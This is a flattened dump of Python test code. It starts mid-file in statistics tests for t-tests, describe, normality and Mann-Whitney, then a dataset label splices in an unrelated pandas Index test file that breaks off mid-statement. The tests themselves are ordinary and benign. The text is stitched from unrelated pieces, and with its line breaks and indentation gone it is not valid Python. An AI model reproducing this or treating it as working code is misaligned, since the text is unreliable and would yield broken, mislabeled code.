assert_array_almost_equal(np.abs(t), np.abs(tr)) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (3, 2)) olderr = np.seterr(all='ignore') try: # test zero division problem t,p = stats.ttest_ind([0,0,0],[1,1,1]) assert_equal((np.abs(t),p), (np.inf, 0)) assert_equal(stats.ttest_ind([0,0,0], [0,0,0]), (np.nan, np.nan)) # check that nan in input array result in nan output anan = np.array([[1,np.nan],[-1,1]]) assert_equal(stats.ttest_ind(anan, np.zeros((2,2))),([0, np.nan], [1,np.nan])) finally: np.seterr(**olderr) def test_ttest_ind_with_uneq_var(): # check vs. R a = (1, 2, 3) b = (1.1, 2.9, 4.2) pr = 0.53619490753126731 tr = -0.68649512735572582 t, p = stats.ttest_ind(a, b, equal_var=False) assert_array_almost_equal([t,p], [tr, pr]) # test from desc stats API assert_array_almost_equal(stats.ttest_ind_from_stats(*_desc_stats(a, b), equal_var=False), [t, p]) a = (1, 2, 3, 4) pr = 0.84354139131608286 tr = -0.2108663315950719 t, p = stats.ttest_ind(a, b, equal_var=False) assert_array_almost_equal([t,p], [tr, pr]) assert_array_almost_equal(stats.ttest_ind_from_stats(*_desc_stats(a, b), equal_var=False), [t, p]) # regression test tr = 1.0912746897927283 tr_uneq_n = 0.66745638708050492 pr = 0.27647831993021388 pr_uneq_n = 0.50873585065616544 tpr = ([tr,-tr],[pr,pr]) rvs3 = np.linspace(1,100, 25) rvs2 = np.linspace(1,100,100) rvs1 = np.linspace(5,105,100) rvs1_2D = np.array([rvs1, rvs2]) rvs2_2D = np.array([rvs2, rvs1]) t,p = stats.ttest_ind(rvs1, rvs2, axis=0, equal_var=False) assert_array_almost_equal([t,p],(tr,pr)) assert_array_almost_equal(stats.ttest_ind_from_stats(*_desc_stats(rvs1, rvs2), equal_var=False), (t, p)) t,p = stats.ttest_ind(rvs1, rvs3, axis=0, equal_var=False) assert_array_almost_equal([t,p], (tr_uneq_n, pr_uneq_n)) assert_array_almost_equal(stats.ttest_ind_from_stats(*_desc_stats(rvs1, rvs3), equal_var=False), (t, p)) t,p = stats.ttest_ind(rvs1_2D.T, rvs2_2D.T, axis=0, equal_var=False) assert_array_almost_equal([t,p],tpr) args = _desc_stats(rvs1_2D.T, rvs2_2D.T) assert_array_almost_equal(stats.ttest_ind_from_stats(*args, equal_var=False), (t, p)) t,p = stats.ttest_ind(rvs1_2D, rvs2_2D, axis=1, equal_var=False) assert_array_almost_equal([t,p],tpr) args = _desc_stats(rvs1_2D, rvs2_2D, axis=1) assert_array_almost_equal(stats.ttest_ind_from_stats(*args, equal_var=False), (t, p)) # test on 3 dimensions rvs1_3D = np.dstack([rvs1_2D,rvs1_2D,rvs1_2D]) rvs2_3D = np.dstack([rvs2_2D,rvs2_2D,rvs2_2D]) t,p = stats.ttest_ind(rvs1_3D, rvs2_3D, axis=1, equal_var=False) assert_almost_equal(np.abs(t), np.abs(tr)) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (2, 3)) args = _desc_stats(rvs1_3D, rvs2_3D, axis=1) t, p = stats.ttest_ind_from_stats(*args, equal_var=False) assert_almost_equal(np.abs(t), np.abs(tr)) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (2, 3)) t,p = stats.ttest_ind(np.rollaxis(rvs1_3D,2), np.rollaxis(rvs2_3D,2), axis=2, equal_var=False) assert_array_almost_equal(np.abs(t), np.abs(tr)) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (3, 2)) args = _desc_stats(np.rollaxis(rvs1_3D, 2), np.rollaxis(rvs2_3D, 2), axis=2) t, p = stats.ttest_ind_from_stats(*args, equal_var=False) assert_array_almost_equal(np.abs(t), np.abs(tr)) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (3, 2)) olderr = np.seterr(all='ignore') try: # test zero division problem t,p = stats.ttest_ind([0,0,0],[1,1,1], equal_var=False) assert_equal((np.abs(t),p), (np.inf, 0)) assert_equal(stats.ttest_ind([0,0,0], [0,0,0], equal_var=False), (np.nan, np.nan)) # check that nan in input array result in nan output anan = np.array([[1,np.nan],[-1,1]]) assert_equal(stats.ttest_ind(anan, np.zeros((2,2)), equal_var=False), ([0, np.nan], [1,np.nan])) finally: np.seterr(**olderr) def test_ttest_1samp_new(): n1, n2, n3 = (10,15,20) rvn1 = stats.norm.rvs(loc=5,scale=10,size=(n1,n2,n3)) # check multidimensional array and correct axis handling # deterministic rvn1 and rvn2 would be better as in test_ttest_rel t1,p1 = stats.ttest_1samp(rvn1[:,:,:], np.ones((n2,n3)),axis=0) t2,p2 = stats.ttest_1samp(rvn1[:,:,:], 1,axis=0) t3,p3 = stats.ttest_1samp(rvn1[:,0,0], 1) assert_array_almost_equal(t1,t2, decimal=14) assert_almost_equal(t1[0,0],t3, decimal=14) assert_equal(t1.shape, (n2,n3)) t1,p1 = stats.ttest_1samp(rvn1[:,:,:], np.ones((n1,n3)),axis=1) t2,p2 = stats.ttest_1samp(rvn1[:,:,:], 1,axis=1) t3,p3 = stats.ttest_1samp(rvn1[0,:,0], 1) assert_array_almost_equal(t1,t2, decimal=14) assert_almost_equal(t1[0,0],t3, decimal=14) assert_equal(t1.shape, (n1,n3)) t1,p1 = stats.ttest_1samp(rvn1[:,:,:], np.ones((n1,n2)),axis=2) t2,p2 = stats.ttest_1samp(rvn1[:,:,:], 1,axis=2) t3,p3 = stats.ttest_1samp(rvn1[0,0,:], 1) assert_array_almost_equal(t1,t2, decimal=14) assert_almost_equal(t1[0,0],t3, decimal=14) assert_equal(t1.shape, (n1,n2)) olderr = np.seterr(all='ignore') try: # test zero division problem t,p = stats.ttest_1samp([0,0,0], 1) assert_equal((np.abs(t),p), (np.inf, 0)) assert_equal(stats.ttest_1samp([0,0,0], 0), (np.nan, np.nan)) # check that nan in input array result in nan output anan = np.array([[1,np.nan],[-1,1]]) assert_equal(stats.ttest_1samp(anan, 0),([0, np.nan], [1,np.nan])) finally: np.seterr(**olderr) class TestDescribe(TestCase): def test_describe_numbers(self): x = np.vstack((np.ones((3,4)), 2 * np.ones((2,4)))) nc, mmc = (5, ([1., 1., 1., 1.], [2., 2., 2., 2.])) mc = np.array([1.4, 1.4, 1.4, 1.4]) vc = np.array([0.3, 0.3, 0.3, 0.3]) skc = [0.40824829046386357] * 4 kurtc = [-1.833333333333333] * 4 n, mm, m, v, sk, kurt = stats.describe(x) assert_equal(n, nc) assert_equal(mm, mmc) assert_equal(m, mc) assert_equal(v, vc) # not sure about precision with sk, skc assert_array_almost_equal(sk, skc, decimal=13) assert_array_almost_equal(kurt, kurtc, decimal=13) n, mm, m, v, sk, kurt = stats.describe(x.T, axis=1) assert_equal(n, nc) assert_equal(mm, mmc) assert_equal(m, mc) assert_equal(v, vc) # not sure about precision with sk, skc assert_array_almost_equal(sk, skc, decimal=13) assert_array_almost_equal(kurt, kurtc, decimal=13) def test_describe_result_attributes(self): actual = stats.describe(np.arange(5)) attributes = ('nobs', 'minmax', 'mean', 'variance', 'skewness', 'kurtosis') for i, attr in enumerate(attributes): assert_equal(actual[i], getattr(actual, attr)) def test_describe_typename(self): actual = stats.describe(np.arange(5)) assert_equal(str(actual)[:8], 'Describe') def test_normalitytests(): # numbers verified with R: dagoTest in package fBasics st_normal, st_skew, st_kurt = (3.92371918, 1.98078826, -0.01403734) pv_normal, pv_skew, pv_kurt = (0.14059673, 0.04761502, 0.98880019) x = np.array((-2,-1,0,1,2,3)*4)**2 yield assert_array_almost_equal, stats.normaltest(x), (st_normal, pv_normal) yield assert_array_almost_equal, stats.skewtest(x), (st_skew, pv_skew) yield assert_array_almost_equal, stats.kurtosistest(x), (st_kurt, pv_kurt) # Test axis=None (equal to axis=0 for 1-D input) yield (assert_array_almost_equal, stats.normaltest(x, axis=None), (st_normal, pv_normal)) yield (assert_array_almost_equal, stats.skewtest(x, axis=None), (st_skew, pv_skew)) yield (assert_array_almost_equal, stats.kurtosistest(x, axis=None), (st_kurt, pv_kurt)) class TestJarqueBera(TestCase): def test_jarque_bera_stats(self): np.random.seed(987654321) x = np.random.normal(0, 1, 100000) y = np.random.chisquare(10000, 100000) z = np.random.rayleigh(1, 100000) assert_(stats.jarque_bera(x)[1] > stats.jarque_bera(y)[1]) assert_(stats.jarque_bera(x)[1] > stats.jarque_bera(z)[1]) assert_(stats.jarque_bera(y)[1] > stats.jarque_bera(z)[1]) def test_jarque_bera_array_like(self): np.random.seed(987654321) x = np.random.normal(0, 1, 100000) JB1, p1 = stats.jarque_bera(list(x)) JB2, p2 = stats.jarque_bera(tuple(x)) JB3, p3 = stats.jarque_bera(x.reshape(2, 50000)) assert_(JB1 == JB2 == JB3) assert_(p1 == p2 == p3) def test_jarque_bera_size(self): assert_raises(ValueError, stats.jarque_bera, []) def test_skewtest_too_few_samples(): # Regression test for ticket #1492. # skewtest requires at least 8 samples; 7 should raise a ValueError. x = np.arange(7.0) assert_raises(ValueError, stats.skewtest, x) def test_kurtosistest_too_few_samples(): # Regression test for ticket #1425. # kurtosistest requires at least 5 samples; 4 should raise a ValueError. x = np.arange(4.0) assert_raises(ValueError, stats.kurtosistest, x) def test_mannwhitneyu(): x = np.array([1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 2., 1., 1., 2., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 3., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1.]) y = np.array([1., 1., 1., 1., 1., 1., 1., 2., 1., 2., 1., 1., 1., 1., 2., 1., 1., 1., 2., 1., 1., 1., 1., 1., 2., 1., 1., 3., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 2., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 2., 2., 1., 1., 2., 1., 1., 2., 1., 2., 1., 1., 1., 1., 2., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 2., 2., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 2., 1., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 2., 1., 1., 1., 2., 1., 1., 1., 1., 1., 1.]) # p-value verified with matlab and R to 5 significant digits assert_array_almost_equal(stats.stats.mannwhitneyu(x,y), (16980.5, 2.8214327656317373e-005), decimal=12) def test_pointbiserial(): # same as mstats test except for the nan # Test data: http://support.sas.com/ctx/samples/index.jsp?sid=490&tab=output x = [1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0, 0,0,0,0,1
codeparrot/github-code-clean
# -*- coding: utf-8 -*- import pytest from datetime import datetime, timedelta from collections import defaultdict import pandas.util.testing as tm from pandas.core.dtypes.common import is_unsigned_integer_dtype from pandas.core.indexes.api import Index, MultiIndex from pandas.tests.indexes.common import Base from pandas.compat import (range, lrange, lzip, u, text_type, zip, PY3, PY36, PYPY) import operator import numpy as np from pandas import (period_range, date_range, Series, DataFrame, Float64Index, Int64Index, UInt64Index, CategoricalIndex, DatetimeIndex, TimedeltaIndex, PeriodIndex, isna) from pandas.core.index import _get_combined_index, _ensure_index_from_sequences from pandas.util.testing import assert_almost_equal from pandas.compat.numpy import np_datetime64_compat import pandas.core.config as cf from pandas.core.indexes.datetimes import _to_m8 import pandas as pd from pandas._libs.lib import Timestamp class TestIndex(Base): _holder = Index def setup_method(self, method): self.indices = dict(unicodeIndex=tm.makeUnicodeIndex(100), strIndex=tm.makeStringIndex(100), dateIndex=tm.makeDateIndex(100), periodIndex=tm.makePeriodIndex(100), tdIndex=tm.makeTimedeltaIndex(100), intIndex=tm.makeIntIndex(100), uintIndex=tm.makeUIntIndex(100), rangeIndex=tm.makeIntIndex(100), floatIndex=tm.makeFloatIndex(100), boolIndex=Index([True, False]), catIndex=tm.makeCategoricalIndex(100), empty=Index([]), tuples=MultiIndex.from_tuples(lzip( ['foo', 'bar', 'baz'], [1, 2, 3])), repeats=Index([0, 0, 1, 1, 2, 2])) self.setup_indices() def create_index(self): return Index(list('abcde')) def test_new_axis(self): new_index = self.dateIndex[None, :] assert new_index.ndim == 2 assert isinstance(new_index, np.ndarray) def test_copy_and_deepcopy(self, indices): super(TestIndex, self).test_copy_and_deepcopy(indices) new_copy2 = self.intIndex.copy(dtype=int) assert new_copy2.dtype.kind == 'i' def test_constructor(self): # regular instance creation tm.assert_contains_all(self.strIndex, self.strIndex) tm.assert_contains_all(self.dateIndex, self.dateIndex) # casting arr = np.array(self.strIndex) index = Index(arr) tm.assert_contains_all(arr, index) tm.assert_index_equal(self.strIndex, index) # copy arr = np.array(self.strIndex) index = Index(arr, copy=True, name='name') assert isinstance(index, Index) assert index.name == 'name' tm.assert_numpy_array_equal(arr, index.values) arr[0] = "SOMEBIGLONGSTRING" assert index[0] != "SOMEBIGLONGSTRING" # what to do here? # arr = np.array(5.) # pytest.raises(Exception, arr.view, Index) def test_constructor_corner(self): # corner case pytest.raises(TypeError, Index, 0) def test_construction_list_mixed_tuples(self): # see gh-10697: if we are constructing from a mixed list of tuples, # make sure that we are independent of the sorting order. idx1 = Index([('A', 1), 'B']) assert isinstance(idx1, Index) assert not isinstance(idx1, MultiIndex) idx2 = Index(['B', ('A', 1)]) assert isinstance(idx2, Index) assert not isinstance(idx2, MultiIndex) @pytest.mark.parametrize('na_value', [None, np.nan]) @pytest.mark.parametrize('vtype', [list, tuple, iter]) def test_construction_list_tuples_nan(self, na_value, vtype): # GH 18505 : valid tuples containing NaN values = [(1, 'two'), (3., na_value)] result = Index(vtype(values)) expected = MultiIndex.from_tuples(values) tm.assert_index_equal(result, expected) def test_constructor_from_index_datetimetz(self): idx = pd.date_range('2015-01-01 10:00', freq='D', periods=3, tz='US/Eastern') result = pd.Index(idx) tm.assert_index_equal(result, idx) assert result.tz == idx.tz result = pd.Index(idx.asobject) tm.assert_index_equal(result, idx) assert result.tz == idx.tz def test_constructor_from_index_timedelta(self): idx = pd.timedelta_range('1 days', freq='D', periods=3) result = pd.Index(idx) tm.assert_index_equal(result, idx) result = pd.Index(idx.asobject) tm.assert_index_equal(result, idx) def test_constructor_from_index_period(self): idx = pd.period_range('2015-01-01', freq='D', periods=3) result = pd.Index(idx) tm.assert_index_equal(result, idx) result = pd.Index(idx.asobject) tm.assert_index_equal(result, idx) def test_constructor_from_series_datetimetz(self): idx = pd.date_range('2015-01-01 10:00', freq='D', periods=3, tz='US/Eastern') result = pd.Index(pd.Series(idx)) tm.assert_index_equal(result, idx) assert result.tz == idx.tz def test_constructor_from_series_timedelta(self): idx = pd.timedelta_range('1 days', freq='D', periods=3) result = pd.Index(pd.Series(idx)) tm.assert_index_equal(result, idx) def test_constructor_from_series_period(self): idx = pd.period_range('2015-01-01', freq='D', periods=3) result = pd.Index(pd.Series(idx)) tm.assert_index_equal(result, idx) def test_constructor_from_series(self): expected = DatetimeIndex([Timestamp('20110101'), Timestamp('20120101'), Timestamp('20130101')]) s = Series([Timestamp('20110101'), Timestamp('20120101'), Timestamp('20130101')]) result = Index(s) tm.assert_index_equal(result, expected) result = DatetimeIndex(s) tm.assert_index_equal(result, expected) # GH 6273 # create from a series, passing a freq s = Series(pd.to_datetime(['1-1-1990', '2-1-1990', '3-1-1990', '4-1-1990', '5-1-1990'])) result = DatetimeIndex(s, freq='MS') expected = DatetimeIndex(['1-1-1990', '2-1-1990', '3-1-1990', '4-1-1990', '5-1-1990'], freq='MS') tm.assert_index_equal(result, expected) df = pd.DataFrame(np.random.rand(5, 3)) df['date'] = ['1-1-1990', '2-1-1990', '3-1-1990', '4-1-1990', '5-1-1990'] result = DatetimeIndex(df['date'], freq='MS') expected.name = 'date' tm.assert_index_equal(result, expected) assert df['date'].dtype == object exp = pd.Series(['1-1-1990', '2-1-1990', '3-1-1990', '4-1-1990', '5-1-1990'], name='date') tm.assert_series_equal(df['date'], exp) # GH 6274 # infer freq of same result = pd.infer_freq(df['date']) assert result == 'MS' def test_constructor_ndarray_like(self): # GH 5460#issuecomment-44474502 # it should be possible to convert any object that satisfies the numpy # ndarray interface directly into an Index class ArrayLike(object): def __init__(self, array): self.array = array def __array__(self, dtype=None): return self.array for array in [np.arange(5), np.array(['a', 'b', 'c']), date_range('2000-01-01', periods=3).values]: expected = pd.Index(array) result = pd.Index(ArrayLike(array)) tm.assert_index_equal(result, expected) @pytest.mark.parametrize('dtype', [ int, 'int64', 'int32', 'int16', 'int8', 'uint64', 'uint32', 'uint16', 'uint8']) def test_constructor_int_dtype_float(self, dtype): # GH 18400 if is_unsigned_integer_dtype(dtype): index_type = UInt64Index else: index_type = Int64Index expected = index_type([0, 1, 2, 3]) result = Index([0., 1., 2., 3.], dtype=dtype) tm.assert_index_equal(result, expected) def test_constructor_int_dtype_nan(self): # see gh-15187 data = [np.nan] msg = "cannot convert" with tm.assert_raises_regex(ValueError, msg): Index(data, dtype='int64') with tm.assert_raises_regex(ValueError, msg): Index(data, dtype='uint64') # This, however, should not break # because NaN is float. expected = Float64Index(data) result = Index(data, dtype='float') tm.assert_index_equal(result, expected) def test_index_ctor_infer_nan_nat(self): # GH 13467 exp = pd.Float64Index([np.nan, np.nan]) assert exp.dtype == np.float64 tm.assert_index_equal(Index([np.nan, np.nan]), exp) tm.assert_index_equal(Index(np.array([np.nan, np.nan])), exp) exp = pd.DatetimeIndex([pd.NaT, pd.NaT]) assert exp.dtype == 'datetime64[ns]' tm.assert_index_equal(Index([pd.NaT, pd.NaT]), exp) tm.assert_index_equal(Index(np.array([pd.NaT, pd.NaT])), exp) exp = pd.DatetimeIndex([pd.NaT, pd.NaT]) assert exp.dtype == 'datetime64[ns]' for data in [[pd.NaT, np.nan], [np.nan, pd.NaT], [np.nan, np.datetime64('nat')], [np.datetime64('nat'), np.nan]]: tm.assert_index_equal(Index(data), exp) tm.assert_index_equal(Index(np.array(data, dtype=object)), exp) exp = pd.TimedeltaIndex([pd.NaT, pd.NaT]) assert exp.dtype == 'timedelta64[ns]' for data in [[np.nan, np.timedelta64('nat')], [np.timedelta64('nat'), np.nan], [pd.NaT, np.timedelta64('nat')], [np.timedelta64('nat'), pd.NaT]]: tm.assert_index_equal(Index(data), exp) tm.assert_index_equal(Index(np.array(data, dtype=object)), exp) # mixed np.datetime64/timedelta64 nat results in object data = [np.datetime64('nat'), np.timedelta64('nat')] exp = pd.Index(data, dtype=object) tm.assert_index_equal(Index(data), exp) tm.assert_index_equal(Index(np.array(data, dtype=object)), exp) data = [np.timedelta64('nat'), np.datetime64('nat')] exp = pd.Index(data, dtype=object) tm.assert_index_equal(Index(data), exp) tm.assert_index_equal(Index(np.array(data, dtype=object)), exp) def test_index_ctor_infer_periodindex(self): xp = period_range('2012-1-1', freq='M', periods=3) rs = Index(xp) tm.assert_index_equal(rs, xp) assert isinstance(rs, PeriodIndex) def test_constructor_simple_new(self): idx = Index([1, 2, 3, 4, 5], name='int') result = idx._simple_new(idx, 'int') tm.assert_index_equal(result, idx) idx = Index([1.1, np.nan, 2.2, 3.0], name='float') result = idx._simple_new(idx, 'float') tm.assert_index_equal(result, idx) idx = Index(['A', 'B', 'C', np.nan], name='obj') result = idx._simple_new(idx, 'obj') tm.assert_index_equal(result, idx) def test_constructor_dtypes(self): for idx in [Index(np.array([1, 2, 3], dtype=int)), Index(np.array([1, 2, 3], dtype=int), dtype=int), Index([1, 2, 3], dtype=int)]: assert isinstance(idx, Int64Index) # These should coerce for idx in [Index(np.array([1., 2., 3.], dtype=float), dtype=int), Index([1., 2., 3.], dtype=int)]: assert isinstance(idx, Int64Index) for idx in [Index(np.array([1., 2., 3.], dtype=float)), Index(np.array([1, 2, 3], dtype=int), dtype=float), Index(np.array([1., 2., 3.], dtype=float), dtype=float), Index([1, 2, 3], dtype=float), Index([1., 2., 3.], dtype=float)]: assert isinstance(idx, Float64Index) for idx in [Index(np.array([True, False, True], dtype=bool)), Index([True, False, True]), Index(np.array([True, False, True], dtype=bool), dtype=bool), Index([True, False, True], dtype=bool)]: assert isinstance(idx, Index) assert idx.dtype == object for idx in [Index(np.array([1, 2, 3], dtype=int), dtype='category'), Index([1, 2, 3], dtype='category'), Index(np.array([np_datetime64_compat('2011-01-01'), np_datetime64_compat('2011-01-02')]), dtype='category'), Index([datetime(2011, 1, 1), datetime(2011, 1, 2)], dtype='category')]: assert isinstance(idx, CategoricalIndex) for idx in [Index(np.array([np_datetime64_compat('2011-01-01'), np_datetime64_compat('2011-01-02')])), Index([datetime(2011, 1, 1), datetime(2011, 1, 2)])]: assert isinstance(idx, DatetimeIndex) for idx in [Index(np.array([np_datetime64_compat('2011-01-01'), np_datetime64_compat('2011-01-02')]), dtype=object), Index([datetime(2011, 1, 1), datetime(2011, 1, 2)], dtype=object)]: assert not isinstance(idx, DatetimeIndex) assert isinstance(idx, Index) assert idx.dtype == object for idx in [Index(np.array([np.timedelta64(1, 'D'), np.timedelta64( 1, 'D')])), Index([timedelta(1), timedelta(1)])]: assert isinstance(idx, TimedeltaIndex) for idx in [Index(np.array([np.timedelta64(1, 'D'), np.timedelta64(1, 'D')]), dtype=object), Index([timedelta(1), timedelta(1)], dtype=object)]: assert not isinstance(idx, TimedeltaIndex) assert isinstance(idx, Index) assert idx.dtype == object def test_constructor_dtypes_datetime(self): for tz in [None, 'UTC', 'US/Eastern', 'Asia/Tokyo']: idx = pd.date_range('2011-01-01', periods=5, tz=tz) dtype = idx.dtype # pass values without timezone, as DatetimeIndex localizes it for values in [pd.date_range('2011-01-01', periods=5).values, pd.date_range('2011-01-01', periods=5).asi8]: for res in [pd.Index(values, tz=tz), pd.Index(values, dtype=dtype), pd.Index(list(values), tz=tz), pd.Index(list(values), dtype=dtype)]: tm.assert_index_equal(res, idx) # check compat with DatetimeIndex for res in [pd.DatetimeIndex(values, tz=tz), pd.DatetimeIndex(values, dtype=dtype), pd.DatetimeIndex(list(values), tz=tz), pd.DatetimeIndex(list(values), dtype=dtype)]: tm.assert_index_equal(res, idx) def test_constructor_dtypes_timedelta(self): idx = pd.timedelta_range('1 days', periods=5) dtype = idx.dtype for values in [idx.values, idx.asi8]: for res in [pd.Index(values, dtype=dtype), pd.Index(list(values), dtype=dtype)]: tm.assert_index_equal(res, idx) # check compat with TimedeltaIndex for res in [pd.TimedeltaIndex(values, dtype=dtype), pd.TimedeltaIndex(list(values), dtype=dtype)]: tm.assert_index_equal(res, idx) def test_view_with_args(self): restricted = ['unicodeIndex', 'strIndex', 'catIndex', 'boolIndex', 'empty'] for i in restricted: ind = self.indices[i] # with arguments pytest.raises(TypeError, lambda: ind.view('i8')) # these are ok for i in list(set(self.indices.keys()) - set(restricted)): ind = self.indices[i] # with arguments ind.view('i8') def test_astype(self): casted = self.intIndex.astype('i8') # it works! casted.get_loc(5) # pass on name self.intIndex.name = 'foobar' casted = self.intIndex.astype('i8') assert casted.name == 'foobar' def test_equals_object(self): # same assert Index(['a', 'b', 'c']).equals(Index(['a', 'b', 'c'])) # different length assert not Index(['a', 'b', 'c']).equals(Index(['a', 'b'])) # same length, different values assert not Index(['a', 'b', 'c']).equals(Index(['a', 'b', 'd'])) # Must also be an Index assert not Index(['a', 'b', 'c']).equals(['a', 'b', 'c']) def test_insert(self): # GH 7256 # validate neg/pos inserts result = Index(['b', 'c', 'd']) # test 0th element tm.assert_index_equal(Index(['a', 'b', 'c', 'd']), result.insert(0, 'a')) # test Nth element that follows Python list behavior tm.assert_index_equal(Index(['b', 'c', 'e', 'd']), result.insert(-1, 'e')) # test loc +/- neq (0, -1) tm.assert_index_equal(result.insert(1, 'z'), result.insert(-2, 'z')) # test empty null_index = Index([]) tm.assert_index_equal(Index(['a']), null_index.insert(0, 'a')) # GH 18295 (test missing) expected = Index(['a', np.nan, 'b', 'c']) for na in (np.nan, pd.NaT, None): result = Index(list('abc')).insert(1, na) tm.assert_index_equal(result, expected) def test_delete(self): idx = Index(['a', 'b', 'c', 'd'], name='idx') expected = Index(['b', 'c', 'd'], name='idx') result = idx.delete(0) tm.assert_index_equal(result, expected) assert result.name == expected.name expected = Index(['a', 'b', 'c'], name='idx') result = idx.delete(-1) tm.assert_index_equal(result, expected) assert result.name == expected.name with pytest.raises((IndexError, ValueError)): # either depending on numpy version result = idx.delete(5) def test_identical(self): # index i1 = Index(['a', 'b', 'c']) i2 = Index(['a', 'b', 'c']) assert i1.identical(i2) i1 = i1.rename('foo') assert i1.equals(i2) assert not i1.identical(i2) i2 = i2.rename('foo') assert i1.identical(i2) i3 = Index([('a', 'a'), ('a', 'b'), ('b', 'a')]) i4 = Index([('a', 'a'), ('a', 'b'), ('b', 'a')], tupleize_cols=False) assert not i3.identical(i4) def test_is_(self): ind = Index(range(10)) assert ind.is_(ind) assert ind.is_(ind.view().view().view().view()) assert not ind.is_(Index(range(10))) assert not ind.is_(ind.copy()) assert not ind.is_(ind.copy(deep=False)) assert not ind.is_(ind[:]) assert not ind.is_(ind.view(np.ndarray).view(Index)) assert not ind.is_(np.array(range(10))) # quasi-implementation dependent assert ind.is_(ind.view()) ind2 = ind.view() ind2.name = 'bob' assert ind.is_(ind2) assert ind2.is_(ind) # doesn't matter if Indices are *actually* views of underlying data, assert not ind.is_(Index(ind.values)) arr = np.array(range(1, 11)) ind1 = Index(arr, copy=False) ind2 = Index(arr, copy=False) assert not ind1.is_(ind2) def test_asof(self): d = self.dateIndex[0] assert self.dateIndex.asof(d) == d assert isna(self.dateIndex.asof(d - timedelta(1))) d = self.dateIndex[-1] assert self.dateIndex.asof(d + timedelta(1)) == d d = self.dateIndex[0].to_pydatetime() assert isinstance(self.dateIndex.asof(d), Timestamp) def test_asof_datetime_partial(self): idx = pd.date_range('2010-01-01', periods=2, freq='m') expected = Timestamp('2010-02-28') result = idx.asof('2010-02') assert result == expected assert not isinstance(result, Index) def test_nanosecond_index_access(self): s = Series([Timestamp('20130101')]).values.view('i8')[0] r = DatetimeIndex([s + 50 + i for i in range(100)]) x = Series(np.random.randn(100), index=r) first_value = x.asof(x.index[0]) # this does not yet work, as parsing strings is done via dateutil # assert first_value == x['2013-01-01 00:00:00.000000050+0000'] exp_ts = np_datetime64_compat('2013-01-01 00:00:00.000000050+0000', 'ns') assert first_value == x[Timestamp(exp_ts)] def test_comparators(self): index = self.dateIndex element = index[len(index) // 2] element = _to_m8(element) arr = np.array(index) def _check(op): arr_result = op(arr, element) index_result = op(index, element) assert isinstance(index_result, np.ndarray) tm.assert_numpy_array_equal(arr_result, index_result) _check(operator.eq) _check(operator.ne) _check(operator.gt) _check(operator.lt) _check(operator.ge) _check(operator.le) def test_booleanindex(self): boolIdx = np.repeat(True, len(self.strIndex)).astype(bool) boolIdx[5:30:2] = False subIndex = self.strIndex[boolIdx] for i, val in enumerate(subIndex): assert subIndex.get_loc(val) == i subIndex = self.strIndex[list(boolIdx)] for i, val in enumerate(subIndex): assert subIndex.get_loc(val) == i def test_fancy(self): sl = self.strIndex[[1, 2, 3]] for i in sl: assert i == sl[sl.get_loc(i)] def test_empty_fancy(self): empty_farr = np.array([], dtype=np.float_) empty_iarr = np.array([], dtype=np.int_) empty_barr = np.array([], dtype=np.bool_) # pd.DatetimeIndex is excluded, because it overrides getitem and should # be tested separately. for idx in [self.strIndex, self.intIndex, self.floatIndex]: empty_idx = idx.__class__([]) assert idx[[]].identical(empty_idx) assert idx[empty_iarr].identical(empty_idx) assert idx[empty_barr].identical(empty_idx) # np.ndarray only accepts ndarray of int & bool dtypes, so should # Index. pytest.raises(IndexError, idx.__getitem__, empty_farr) def test_getitem_error(self, indices): with pytest.raises(IndexError): indices[101] with pytest.raises(IndexError): indices['no_int'] def test_intersection(self): first = self.strIndex[:20] second = self.strIndex[:10] intersect = first.intersection(second) assert tm.equalContents(intersect, second) # Corner cases inter = first.intersection(first) assert inter is first idx1 = Index([1, 2, 3, 4, 5], name='idx') # if target has the same name, it is preserved idx2 = Index([3, 4, 5, 6, 7], name='idx') expected2 = Index([3, 4, 5], name='idx') result2 = idx1.intersection(idx2) tm.assert_index_equal(result2, expected2) assert result2.name == expected2.name # if target name is different, it will be reset idx3 = Index([3, 4, 5, 6, 7], name='other') expected3 = Index([3, 4, 5], name=None) result3 = idx1.intersection(idx3) tm.assert_index_equal(result3, expected3) assert result3.name == expected3.name # non monotonic idx1 = Index([5, 3, 2, 4, 1], name='idx') idx2 = Index([4, 7, 6, 5, 3], name='idx') expected = Index([5, 3, 4], name='idx') result = 